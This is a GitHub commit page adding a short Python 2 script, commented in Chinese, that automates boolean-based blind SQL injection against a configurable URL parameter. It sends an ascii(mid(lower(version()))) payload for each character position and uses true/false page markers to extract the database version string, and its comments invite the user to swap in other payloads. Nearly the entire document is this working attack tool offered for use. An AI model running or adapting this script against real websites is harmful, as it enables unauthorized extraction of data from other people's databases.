Skip to content

Commit ccacc79

Browse files
authored
SQL Blind Injection
It's an easy code for SQL Blind Injection.
1 parent 68aeaec commit ccacc79

File tree

1 file changed

+60
-0
lines changed

1 file changed

+60
-0
lines changed

SQL Blind Injection

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
#!/usr/bin/env python
2+
# encoding:utf8
3+
4+
import httplib
5+
import time
6+
import string
7+
import sys
8+
import random
9+
import urllib
10+
11+
"""
12+
基本参数设置
13+
"""
14+
website = "www.example.com" # 主页
15+
quoteurl = "?id=1" # 存在sql注入的页面
16+
getnum = 8 # 你想获得的数据长度
17+
numorstr = 1 # 设置想测的是数值型还是字符型,1为数值,2为字符
18+
feature_true = "XXX正常XXX" # 返回成功的页面所应含的内容
19+
feature_false = "XXX错误XXX" # 返回错误页面所含内容
20+
keypayload = "" # 这个是关键的payload,请在下面代码部分中去修改
21+
"""
22+
主要代码
23+
"""
24+
headers = {'User-Agent': 'Mozilla/5.0 Chrome/28.0.1500.63', }
25+
payloads_str = list('abcdefghijklmnopqrstuvwxyz0123456789@_.') # 用来测试的字符,可以自行添加
26+
payloads_number = list(r'0123456789@_.') # 用来测试的字符,主要为数字
27+
if numorstr == 1:
28+
payloads = payloads_number
29+
else:
30+
payloads = payloads_str
31+
print 'start to SQL Blind Inject:', website
32+
result = ''
33+
GotOne = False
34+
for i in range(1, getnum + 1):
35+
for payload in payloads:
36+
conn = httplib.HTTPConnection(website, timeout=5) # host
37+
payloadvalue = ord(payload)
38+
keypayload = r")and+(select+ascii(mid(lower(version()),%s,1)))=%s/*" % (i, payloadvalue) # 关键payload
39+
conn.request(method='GET', url=quoteurl + keypayload, headers=headers) # url
40+
html_header = conn.getresponse().read()
41+
conn.close()
42+
if feature_true in html_header:
43+
GotOne = True
44+
result += payload
45+
print "\nGet %s" % result
46+
break
47+
elif feature_false in html_header:
48+
sys.stdout.write("%s" % payload)
49+
pass
50+
else:
51+
pass
52+
sys.stdout.write(".")
53+
sys.stdout.write("%s" % payload)
54+
if GotOne:
55+
GotOne = False
56+
pass
57+
else:
58+
print "\nMiss"
59+
result += " "
60+
print '\n[Done]SQL Blind Injection Result is', result

0 commit comments

Comments
 (0)